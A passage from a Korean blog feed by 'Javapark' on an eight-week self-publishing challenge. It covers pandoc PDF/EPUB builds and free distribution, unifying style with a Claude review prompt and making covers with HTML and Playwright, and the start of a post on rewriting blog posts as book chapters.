&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;pandoc chapters/*.md &lt;span class=&quot;token parameter variable&quot;&gt;-o&lt;/span&gt; build/book.epub &lt;span class=&quot;token parameter variable&quot;&gt;--toc&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  --epub-cover-image&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;assets/images/cover.png&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;--epub-cover-image&lt;/code&gt;로 &lt;a href=&quot;/book-making-06-polish-and-design/&quot;&gt;#6에서 만든 표지&lt;/a&gt;를 그대로 붙입니다. PDF는 &quot;보고 인쇄용&quot;, EPUB은 &quot;기기에서 읽기용&quot; — 둘 다 있으면 독자 선택폭이 넓어집니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;비개발자 경로 — Docs에서 PDF 내보내기&lt;/h2&gt;
&lt;p&gt;pandoc 설치가 부담되면, &lt;strong&gt;Google 문서·한글·워드&lt;/strong&gt;에 챕터를 순서대로 붙여 넣고 &lt;strong&gt;&quot;PDF로 내보내기&quot;&lt;/strong&gt; 한 번이면 됩니다. 자동 목차 기능을 켜고, 표지 이미지를 첫 페이지에 넣으면 끝. 결과물은 거의 똑같습니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;원칙은 같습니다 — &lt;strong&gt;순서대로 모으고, 목차 붙이고, 표지 얹고, PDF로 내보낸다.&lt;/strong&gt; 도구만 다를 뿐입니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;무료로 배포하기&lt;/h2&gt;
&lt;p&gt;책이 PDF로 나왔으면, &lt;strong&gt;다운로드 링크 하나&lt;/strong&gt;만 있으면 출간입니다. 무료 채널들:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;GitHub Releases&lt;/strong&gt; — 파일을 올리면 영구 다운로드 URL 발급. 버전 관리도 자동.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;블로그 글 + 링크&lt;/strong&gt; — 이 시리즈 마지막 글에 &quot;전체 PDF 받기&quot; 버튼 하나.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Google Drive 공유 링크&lt;/strong&gt; — 가장 간단. &quot;링크가 있는 모든 사용자&quot; 설정.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Gumroad(가격 0원)&lt;/strong&gt; — 이메일을 받고 무료 배포. 다음 책 독자 명단이 쌓입니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;저는 &lt;strong&gt;GitHub Releases + 블로그 링크&lt;/strong&gt; 조합을 씁니다. 영구 URL이 생기고, 표지 이미지처럼 책 자산을 한곳에서 버전 관리할 수 있어서입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;실습 1 — 첫 PDF 한 장 뽑기&lt;/h2&gt;
&lt;p&gt;완성된 챕터가 한 개뿐이어도 괜찮습니다. 지금 가진 &lt;code class=&quot;language-text&quot;&gt;.md&lt;/code&gt; 하나로 PDF를 뽑아보세요.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;pandoc 내챕터.md &lt;span class=&quot;token parameter variable&quot;&gt;-o&lt;/span&gt; 첫책.pdf --pdf-engine&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;xelatex &lt;span class=&quot;token parameter variable&quot;&gt;-V&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;mainfont&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;Pretendard&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;한글이 안 깨지고 PDF가 열리는 순간, **&quot;내 손으로 책 파일을 만들었다&quot;**는 감각이 생깁니다. 그 한 번이면 나머지는 챕터를 더 넣는 일일 뿐입니다.&lt;/p&gt;
&lt;h2&gt;실습 2 — 다운로드 링크 한 개 만들기&lt;/h2&gt;
&lt;p&gt;그 PDF를 Google Drive에 올리고 &lt;strong&gt;공유 링크&lt;/strong&gt;를 하나 만들어 보세요. 아직 미완성이어도 됩니다. **&quot;받을 수 있는 주소가 존재한다&quot;**는 사실이 책을 끝내게 만드는 마지막 동력입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;빌드·배포의 함정 — 이것만 피하세요&lt;/h2&gt;
&lt;h3&gt;❌ 1. 한글 폰트를 빼먹는다&lt;/h3&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;--pdf-engine=xelatex&lt;/code&gt; + 설치된 한글 폰트 지정. 이 둘만 챙기면 깨짐의 90%는 사라집니다.&lt;/p&gt;
&lt;h3&gt;❌ 2. 한 번에 완벽한 빌드를 노린다&lt;/h3&gt;
&lt;p&gt;목차·페이지번호·표지를 처음부터 다 붙이려 하지 마세요. &lt;strong&gt;일단 PDF가 나오게&lt;/strong&gt; 한 뒤, 옵션을 하나씩 더합니다.&lt;/p&gt;
&lt;h3&gt;❌ 3. 배포처를 안 정한다&lt;/h3&gt;
&lt;p&gt;&quot;다 만들면 올려야지&quot;가 가장 위험합니다. &lt;strong&gt;링크를 먼저&lt;/strong&gt; 만들어 두면(빈 파일이라도) 끝낼 이유가 생깁니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;다음 주 예고 (#8 — 마무리)&lt;/h2&gt;
&lt;p&gt;드디어 마지막 회차입니다. #8에서는 &lt;strong&gt;8주를 돌아보고, 다음 책으로 이어가는&lt;/strong&gt; 이야기를 합니다 — 빌드 인 퍼블릭 회고, 이 책의 가장 강력한 부록인 &lt;strong&gt;&quot;이 책이 어떻게 만들어졌는가&quot;(메타 부록)&lt;/strong&gt;, 그리고 8주가 길게 느껴진 분들을 위한 &lt;strong&gt;8일 스프린트 모드&lt;/strong&gt;까지. 한 권을 끝낸 사람만 할 수 있는 이야기로 마칩니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;FAQ&lt;/h2&gt;
&lt;h3&gt;Q1. pandoc 설치가 어려워요. 꼭 써야 하나요?&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;아니요.&lt;/strong&gt; Google 문서·워드·한글에서 &quot;PDF로 내보내기&quot;로도 충분합니다. pandoc은 &quot;마크다운 원고를 명령 한 줄로 반복 빌드&quot;하려는 사람에게 유리할 뿐입니다.&lt;/p&gt;
&lt;h3&gt;Q2. 한글이 PDF에서 깨져요.&lt;/h3&gt;
&lt;p&gt;거의 항상 &lt;strong&gt;&lt;code class=&quot;language-text&quot;&gt;--pdf-engine=xelatex&lt;/code&gt;&lt;/strong&gt; 누락 또는 &lt;strong&gt;없는 폰트 지정&lt;/strong&gt;입니다. 시스템에 설치된 한글 폰트(예: Pretendard, 나눔고딕)의 정확한 이름을 &lt;code class=&quot;language-text&quot;&gt;-V mainfont&lt;/code&gt;에 넣으세요.&lt;/p&gt;
&lt;h3&gt;Q3. 무료 PDF인데 ISBN이나 정식 출간이 필요한가요?&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;1차 무료 배포엔 필요 없습니다.&lt;/strong&gt; 링크 하나면 출간입니다. 나중에 서점 유통(교보·예스24)이나 KDP(아마존)로 갈 때 ISBN을 검토하면 됩니다. 시작은 가볍게.&lt;/p&gt;
&lt;h3&gt;Q4. 책을 고치면 배포본도 다시 올려야 하죠?&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;네, 그래서 GitHub Releases가 편합니다.&lt;/strong&gt; 새 버전을 올리고 링크는 그대로 두면 됩니다. &quot;v1.0 → v1.1&quot;처럼 버전을 남기면 독자도 무엇이 바뀌었는지 압니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;마무리&lt;/h2&gt;
&lt;p&gt;오늘 두 가지만 하시면 됩니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;✅ 가진 챕터 1개로 &lt;strong&gt;PDF 한 장&lt;/strong&gt; 뽑기 (한글 안 깨지게 — &lt;code class=&quot;language-text&quot;&gt;xelatex&lt;/code&gt; + 한글 폰트)&lt;/li&gt;
&lt;li&gt;✅ 그 PDF를 올리고 &lt;strong&gt;공유 링크 1개&lt;/strong&gt; 만들기 (미완성이어도)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;받을 수 있는 주소가 생기는 순간, 여러분의 책은 **&quot;언젠가 쓸 글&quot;에서 &quot;지금 존재하는 파일&quot;**이 됩니다. 그 전환이 오늘의 목표입니다.&lt;/p&gt;
&lt;p&gt;여러분은 책을 어디에 배포하고 싶으신가요 — GitHub, 드라이브, 아니면 직접 만든 페이지? &lt;strong&gt;댓글로 남겨주시면&lt;/strong&gt; 다음 마지막 글 #8에서 함께 정리해보겠습니다.&lt;/p&gt;
&lt;p&gt;다음 주에 또 뵙겠습니다. 자바파커였습니다.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Claude 책 만들기 #6 — 다듬기와 디자인: 표지·다이어그램·문체]]></title><description><![CDATA[Claude 책 만들기 #6 — 다듬기와 디자인: 표지·다이어그램·문체 "내용은 다 썼는데, 왜 아직 '책 같지'가 않을까요?" 초고를 다 쌓은 분들이 공통으로 느끼는 감정입니다. 안녕하세요, 자바파커입니다. 「나만의 책만들기」 8주 챌린지…]]></description><link>https://blog.javapark.kr/book-making-06-polish-and-design/</link><guid isPermaLink="false">https://blog.javapark.kr/book-making-06-polish-and-design/</guid><pubDate>Fri, 12 Jun 2026 22:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;https://github.com/javapark/blog-images/releases/download/images-v1/book-making-06-polish-and-design.png&quot; alt=&quot;Claude 책 만들기 #6 — 다듬기와 디자인: 표지·다이어그램·문체&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;내용은 다 썼는데, 왜 아직 &apos;책 같지&apos;가 않을까요?&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;초고를 다 쌓은 분들이 공통으로 느끼는 감정입니다.&lt;/p&gt;
&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다. 「나만의 책만들기」 8주 챌린지 &lt;strong&gt;6회차&lt;/strong&gt;입니다. &lt;a href=&quot;/book-making-05-writing-chapters/&quot;&gt;#5에서 한 챕터를 써내는 법&lt;/a&gt;까지 왔다면, 이제 여러분 손엔 &lt;strong&gt;초고 더미&lt;/strong&gt;가 있습니다. 내용은 다 들어 있는데 어딘가 허전하죠. 오늘은 그 초고에 &lt;strong&gt;옷을 입히는&lt;/strong&gt; 이야기입니다 — 문체, 표지, 다이어그램.&lt;/p&gt;
&lt;p&gt;결론부터 말씀드리면 — &lt;strong&gt;사람은 책을 읽기 전에 먼저 본다.&lt;/strong&gt; 내용이 아무리 좋아도, 챕터마다 말투가 다르고 표지가 없으면 독자는 &quot;대충 만든 글&quot;로 느낍니다. 반대로 &lt;strong&gt;일관된 문체 + 표지 한 장&lt;/strong&gt;만 있어도 같은 내용이 &quot;한 권의 책&quot;으로 격상됩니다. 다듬기는 꾸밈이 아니라 &lt;strong&gt;신뢰의 문제&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;왜 다듬기가 내용만큼 중요한가&lt;/h2&gt;
&lt;p&gt;독자가 책을 만났을 때 순서는 이렇습니다 — &lt;strong&gt;① 표지를 본다 → ② 몇 줄 읽어본다 → ③ 말투가 일관되면 끝까지 읽는다.&lt;/strong&gt; 내용 평가는 마지막입니다. 그 앞 두 관문을 통과 못 하면 좋은 내용도 읽히지 않습니다.&lt;/p&gt;
&lt;p&gt;특히 &lt;strong&gt;무료 PDF&lt;/strong&gt;처럼 진입장벽이 낮은 책일수록 첫인상이 전부입니다. 돈을 낸 책은 아까워서라도 읽지만, 공짜 책은 표지에서 한 번, 첫 페이지에서 또 한 번 걸러집니다. &lt;strong&gt;다듬기는 &quot;끝까지 읽히게 만드는&quot; 작업&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;핵심: 디자인은 예쁨이 아니라 &lt;strong&gt;&quot;이 사람이 정성을 들였다&quot;는 신호&lt;/strong&gt;입니다. 그 신호가 신뢰가 됩니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;1. 문체 통일 — 8주를 한 사람이 쓴 것처럼&lt;/h2&gt;
&lt;p&gt;8주에 걸쳐 쓴 글은 &lt;strong&gt;8주만큼 말투가 다릅니다.&lt;/strong&gt; 첫 주는 의욕 넘쳐 길고, 바쁜 주는 뚝뚝 끊기고, 어떤 챕터는 반말이 섞입니다. 독자는 이 미세한 불일치를 &lt;strong&gt;무의식적으로&lt;/strong&gt; 느낍니다.&lt;/p&gt;
&lt;h3&gt;말투 기준 한 줄을 먼저 정한다&lt;/h3&gt;
&lt;p&gt;다듬기 전에 규칙을 한 줄로 박습니다. 예: &lt;strong&gt;&quot;&lt;del&gt;합니다체, 1인칭(저/제), 한 문단 3&lt;/del&gt;4문장, 전문용어는 첫 등장 시 한 번 풀이.&quot;&lt;/strong&gt; 이 한 줄이 8개 챕터를 같은 옷으로 맞추는 자입니다.&lt;/p&gt;
&lt;h3&gt;Claude로 일관성 점검&lt;/h3&gt;
&lt;p&gt;장마다 붙여 넣고 묻습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;이 책의 문체 기준은 &quot;~합니다체 / 1인칭 / 담백 / 문단 3~4문장&quot;이야.
아래 챕터에서 이 기준에서 벗어난 문장만 찾아서, 원문과 수정안을 표로 보여줘.
멀쩡한 문장은 건드리지 마.

---
[챕터 붙여넣기]&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;**&quot;벗어난 것만 찾아라&quot;**가 핵심입니다. 전체를 다시 쓰게 하면 또 내 목소리가 사라집니다(&lt;a href=&quot;/book-making-05-writing-chapters/&quot;&gt;#5&lt;/a&gt;에서 했던 약속, 기억하시죠).&lt;/p&gt;
&lt;h3&gt;챕터 사이를 잇는 연결어&lt;/h3&gt;
&lt;p&gt;각 장 끝의 &quot;다음 장으로&quot;, 시작의 &quot;앞 장을 받아서&quot; 한 문장을 통일된 패턴으로 다듬습니다. 강물처럼 이어지는 느낌은 이 연결어에서 나옵니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;2. 표지 만들기 — 재현 가능한 디자인&lt;/h2&gt;
&lt;p&gt;표지에서 일주일을 쓰는 분이 많습니다. 디자인 툴을 켜고, 폰트를 고르고, 다시 엎고… 저는 그 함정을 피하려고 &lt;strong&gt;표지를 코드로 찍습니다.&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;왜 디자인 툴 대신 HTML인가 (개발자 경로)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;재현성&lt;/strong&gt; — 제목만 바꾸면 8개 챕터 썸네일이 같은 틀로 쏟아집니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;버전 관리&lt;/strong&gt; — 표지가 텍스트(HTML)라 git에 들어갑니다. &quot;예전 표지로 되돌리기&quot;가 한 줄.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;무료·무한&lt;/strong&gt; — 유료 툴, 저작권 폰트 걱정 없이 원하는 만큼.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;방법은 단순합니다. &lt;strong&gt;HTML 한 장으로 표지를 그리고, Playwright로 스크린샷을 찍어 PNG로 저장&lt;/strong&gt;합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;(워크플로우)
1. cover.html — 제목·부제·배경을 담은 1200×630 HTML 한 장
2. Playwright로 해당 페이지를 열어 screenshot → cover.png
3. 제목 텍스트만 바꿔 #1~#8 표지를 같은 틀로 일괄 생성&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;저는 여기에 &lt;strong&gt;고정 룰&lt;/strong&gt;을 둡니다 — 다크 베이스, 주제별 포인트 색(오브) 하나, 큰 제목 + 작은 시리즈 표식. 이 룰 덕에 8장의 표지가 &lt;strong&gt;시리즈처럼 보입니다.&lt;/strong&gt; (이 책의 표지 HTML 템플릿은 &lt;strong&gt;부록 B&lt;/strong&gt;에 그대로 싣습니다.)&lt;/p&gt;
&lt;h3&gt;비개발자 경로 — 템플릿 한 개로 충분&lt;/h3&gt;
&lt;p&gt;코드가 부담되면 &lt;strong&gt;Canva·PPT 템플릿 한 개&lt;/strong&gt;를 정하고 제목만 바꿔 8장을 찍어내세요. 원칙은 똑같습니다 — &lt;strong&gt;틀 하나, 색 하나, 제목만 교체.&lt;/strong&gt; &quot;매번 새로 디자인&quot;만 안 하면 됩니다.&lt;/p&gt;
&lt;h3&gt;표지·썸네일 규격&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;표지(cover)&lt;/strong&gt;: 가로형 1200×630 (SNS·블로그 공유 미리보기 표준)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;썸네일(thumbnail)&lt;/strong&gt;: 목록용 정사각 또는 16:9 축소판&lt;/li&gt;
&lt;li&gt;두 규격을 미리 정해두면 매번 크기로 고민하지 않습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;3. 다이어그램 — 말 열 줄을 그림 한 장으로&lt;/h2&gt;
&lt;p&gt;&quot;발췌 → 재구성 → 챕터 승격&quot; 같은 흐름은 &lt;strong&gt;문장보다 화살표 그림&lt;/strong&gt;이 빠릅니다. 복잡한 설명이 세 문단을 넘어가면, 다이어그램 한 장을 의심하세요.&lt;/p&gt;
&lt;p&gt;거창할 필요 없습니다. 박스와 화살표면 충분합니다. 표지와 같은 방식(HTML+스크린샷)으로 찍거나, 손그림을 찍어 넣어도 됩니다. &lt;strong&gt;중요한 건 &quot;독자의 머릿속에 그림이 그려지는가&quot;&lt;/strong&gt; 이지 그림의 완성도가 아닙니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;실습 1 — Claude로 문체 한 바퀴&lt;/h2&gt;
&lt;p&gt;가장 길거나 가장 먼저 쓴 챕터 하나를 골라, 위 &quot;일관성 점검&quot; 프롬프트를 돌립니다. 받은 표에서 &lt;strong&gt;정말 어색한 것 5개만&lt;/strong&gt; 고쳐보세요. 한 챕터만 해봐도 내 글의 말버릇이 보입니다.&lt;/p&gt;
&lt;h2&gt;실습 2 — 표지 한 장 찍어내기&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;제목·부제를 넣은 표지 틀 하나를 만듭니다 (HTML 또는 Canva 템플릿).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;다크 배경 + 포인트 색 하나&lt;/strong&gt; 규칙을 정합니다.&lt;/li&gt;
&lt;li&gt;내 책 제목으로 표지 1장을 PNG로 뽑습니다.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;딱 한 장이면 됩니다. 표지가 화면에 떠 있는 것과 없는 것은 &lt;strong&gt;동기부여&lt;/strong&gt;가 다릅니다. &quot;진짜 책이 되고 있다&quot;는 실감이 거기서 옵니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;다듬기의 함정 — 이것만 피하세요&lt;/h2&gt;
&lt;h3&gt;❌ 1. 표지에 일주일을 쓴다&lt;/h3&gt;
&lt;p&gt;표지는 &lt;strong&gt;틀 하나 + 제목 교체&lt;/strong&gt;로 끝내세요. 완벽한 표지를 좇다 본문 다듬기를 못 하는 게 더 큰 손해입니다.&lt;/p&gt;
&lt;h3&gt;❌ 2. 챕터마다 문체를 새로 정한다&lt;/h3&gt;
&lt;p&gt;기준은 &lt;strong&gt;한 번, 한 줄&lt;/strong&gt;로. 매 챕터 다른 규칙을 적용하면 통일이 아니라 새로운 불일치가 생깁니다.&lt;/p&gt;
&lt;h3&gt;❌ 3. 다이어그램을 꾸미기 시작한다&lt;/h3&gt;
&lt;p&gt;색·그림자·아이콘에 빠지면 끝이 없습니다. &lt;strong&gt;박스와 화살표&lt;/strong&gt;면 충분합니다. 의미 전달이 목적이지 작품이 목적이 아닙니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;다음 주 예고 (#7 — 빌드와 배포)&lt;/h2&gt;
&lt;p&gt;문체를 맞추고 표지를 입혔다면, 이제 &lt;strong&gt;흩어진 마크다운을 한 권으로 묶어 내보낼&lt;/strong&gt; 차례입니다. #7에서는 &lt;strong&gt;pandoc으로 마크다운 → PDF/EPUB 변환&lt;/strong&gt;하는 명령, 표지·목차·페이지번호를 붙이는 법, 그리고 &lt;strong&gt;무료로 배포할 호스팅&lt;/strong&gt;까지 — &quot;파일 더미&quot;가 &quot;다운로드 가능한 책 한 권&quot;이 되는 마지막 단계를 다룹니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;FAQ&lt;/h2&gt;
&lt;h3&gt;Q1. 디자인 감각이 전혀 없어요. 그래도 괜찮나요?&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;괜찮습니다.&lt;/strong&gt; 감각이 아니라 &lt;strong&gt;일관성&lt;/strong&gt;이 핵심입니다. 색 하나, 폰트 하나, 틀 하나로 끝까지 밀면 그게 &quot;디자인&quot;입니다. 화려함보다 &lt;strong&gt;통일감&lt;/strong&gt;이 신뢰를 만듭니다.&lt;/p&gt;
&lt;h3&gt;Q2. 표지를 꼭 HTML로 만들어야 하나요?&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;아니요.&lt;/strong&gt; HTML은 &quot;여러 장을 같은 틀로 자동 생성&quot;하려는 개발자에게 유리할 뿐입니다. Canva·PPT·키노트 템플릿 하나로도 충분합니다. 핵심은 &lt;strong&gt;틀을 재사용&lt;/strong&gt;하는 것.&lt;/p&gt;
&lt;h3&gt;Q3. 문체 통일을 Claude에 전부 맡겨도 되나요?&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;검토는 맡기되, 결정은 직접.&lt;/strong&gt; AI에게 &quot;다시 써줘&quot;가 아니라 &quot;벗어난 곳만 찾아줘&quot;라고 요청하세요. 최종 채택은 내가 합니다. 그래야 내 목소리가 남습니다(&lt;a href=&quot;/book-making-05-writing-chapters/&quot;&gt;#5&lt;/a&gt; 원칙).&lt;/p&gt;
&lt;h3&gt;Q4. 다듬기는 매주 해야 하나요, 마지막에 몰아서 해야 하나요?&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;가벼운 손질은 매주, 큰 통일은 마지막에.&lt;/strong&gt; 매주 오탈자 정도만 보고, 문체·표지 같은 전체 통일은 8주 연재가 끝난 뒤 &lt;code class=&quot;language-text&quot;&gt;chapters/&lt;/code&gt; 승격 단계에서 한 번에 하는 게 효율적입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;마무리&lt;/h2&gt;
&lt;p&gt;오늘 두 가지만 하시면 됩니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;✅ 책의 &lt;strong&gt;문체 기준 한 줄&lt;/strong&gt; 정하고, 챕터 1개에 적용해 어색한 문장 5개 고치기&lt;/li&gt;
&lt;li&gt;✅ &lt;strong&gt;표지 1장&lt;/strong&gt; 뽑기 (틀 하나 + 다크 배경 + 포인트 색 하나, 제목만 교체)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;내용을 &quot;보이게&quot; 만드는 첫 경험 — 그게 이번 주 목표입니다. 표지 한 장이 화면에 뜨는 순간, 책은 갑자기 &lt;strong&gt;현실&lt;/strong&gt;이 됩니다.&lt;/p&gt;
&lt;p&gt;여러분 책의 &lt;strong&gt;포인트 색 하나&lt;/strong&gt;를 고른다면 무슨 색인가요? 그 색이 책의 분위기를 정합니다. &lt;strong&gt;댓글로 남겨주시면&lt;/strong&gt; 다음 주 #7에서 함께 이야기해보겠습니다.&lt;/p&gt;
&lt;p&gt;다음 주에 또 뵙겠습니다. 자바파커였습니다.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Claude 책 만들기 #5 — 챕터 쓰기: 빌드 인 퍼블릭의 힘]]></title><description><![CDATA[Claude 책 만들기 #5 — 챕터 쓰기: 빌드 인 퍼블릭의 힘 "자료는 모았는데, 이걸 어떻게 '책 문장'으로 바꾸죠? 블로그 글을 그냥 붙이면 안 되나요?" 지난주 #…]]></description><link>https://blog.javapark.kr/book-making-05-writing-chapters/</link><guid isPermaLink="false">https://blog.javapark.kr/book-making-05-writing-chapters/</guid><pubDate>Fri, 12 Jun 2026 21:30:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;https://github.com/javapark/blog-images/releases/download/images-v1/book-making-05-writing-chapters.png&quot; alt=&quot;Claude 책 만들기 #5 — 챕터 쓰기: 빌드 인 퍼블릭의 힘&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;자료는 모았는데, 이걸 어떻게 &apos;책 문장&apos;으로 바꾸죠? 블로그 글을 그냥 붙이면 안 되나요?&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;지난주 &lt;a href=&quot;/book-making-04-collecting-materials/&quot;&gt;#4 자료 모으기&lt;/a&gt; 글에 가장 많이 달린 질문입니다.&lt;/p&gt;
&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다. 「나만의 책만들기」 8주 챌린지 &lt;strong&gt;5회차&lt;/strong&gt;입니다. &lt;a href=&quot;/book-making-01-getting-started/&quot;&gt;#1 도구·폴더&lt;/a&gt; → &lt;a href=&quot;/book-making-02-concept/&quot;&gt;#2 콘셉트&lt;/a&gt; → &lt;a href=&quot;/book-making-03-table-of-contents/&quot;&gt;#3 차례&lt;/a&gt; → &lt;a href=&quot;/book-making-04-collecting-materials/&quot;&gt;#4 자료 모으기&lt;/a&gt;까지 왔습니다. 발췌 폴더(&lt;code class=&quot;language-text&quot;&gt;from-blog/&lt;/code&gt;)에 재료가 쌓였으니, 오늘은 드디어 &lt;strong&gt;&lt;code class=&quot;language-text&quot;&gt;reworked/&lt;/code&gt;에서 한 챕터를 실제로 써냅니다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;결론부터 말씀드리면 — &lt;strong&gt;챕터 쓰기는 &quot;새 글짓기&quot;가 아니라 &quot;발췌를 처음 보는 독자의 호흡으로 다시 쓰는 일&quot;입니다.&lt;/strong&gt; 그리고 한 가지 더 — 저는 그 일을 &lt;strong&gt;혼자 조용히 하지 않고, 매주 공개하며 합니다.&lt;/strong&gt; 지금 읽고 계신 이 글이 바로 그 증거입니다. 왜 공개하며 쓰는 게 글을 끝까지 끌고 가는지, 오늘 같이 풀어봅니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;블로그 글과 책 문장은 호흡이 다르다&lt;/h2&gt;
&lt;p&gt;발췌한 블로그 글을 그대로 책에 붙이면 어딘가 어색합니다. 이유는 &lt;strong&gt;읽는 사람의 위치가 다르기 때문&lt;/strong&gt;입니다. 블로그 독자는 &quot;이번 주 연재&quot;를 따라오는 사람이고, 책 독자는 &lt;strong&gt;아무 맥락 없이 한 페이지를 펼친 사람&lt;/strong&gt;입니다. 세 가지를 바꿔야 합니다.&lt;/p&gt;
&lt;h3&gt;1. 시의성을 걷어낸다&lt;/h3&gt;
&lt;p&gt;블로그는 시간 위에 떠 있습니다 — &quot;지난주에&quot;, &quot;요즘&quot;, &quot;최근 업데이트로&quot;. 책은 1년 뒤에 읽혀도 어색하지 않아야 합니다. &lt;strong&gt;&quot;지난주에 겪은 일&quot;은 &quot;한번은 이런 일이 있었다&quot;로&lt;/strong&gt; 시점을 풀어줍니다.&lt;/p&gt;
&lt;h3&gt;2. 빠진 맥락을 채운다&lt;/h3&gt;
&lt;p&gt;연재 독자는 #3을 읽고 #4를 봅니다. 책 독자는 그 장만 펼칠 수도 있습니다. 그래서 블로그에선 생략했던 전제를 &lt;strong&gt;한 문장으로 다시 깔아줘야&lt;/strong&gt; 합니다. &quot;(앞에서 만든 outline 기억하시죠)&quot;가 아니라 &quot;책의 차례는 작업의 기준점이 된다 — 앞 장에서 만든 그것 말이다&quot;처럼.&lt;/p&gt;
&lt;h3&gt;3. 앞뒤 챕터와 잇는다&lt;/h3&gt;
&lt;p&gt;책은 장과 장이 강물처럼 이어집니다. 챕터 끝에 &lt;strong&gt;다음 장으로 넘어가는 한 문장&lt;/strong&gt;, 시작에 &lt;strong&gt;앞 장을 받는 한 문장&lt;/strong&gt;을 둡니다. 이 연결고리가 &quot;글 모음&quot;을 &quot;책&quot;으로 만듭니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;핵심: 블로그 글은 &lt;strong&gt;재료&lt;/strong&gt;이지 &lt;strong&gt;완성품&lt;/strong&gt;이 아닙니다. 같은 내용을 다른 독자에게 다시 들려준다고 생각하세요.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;&lt;code class=&quot;language-text&quot;&gt;reworked&lt;/code&gt; 한 챕터를 쓰는 4단계&lt;/h2&gt;
&lt;p&gt;막막할 땐 절차로 만듭니다. 저는 한 챕터를 이 순서로 씁니다.&lt;/p&gt;
&lt;ol&gt;
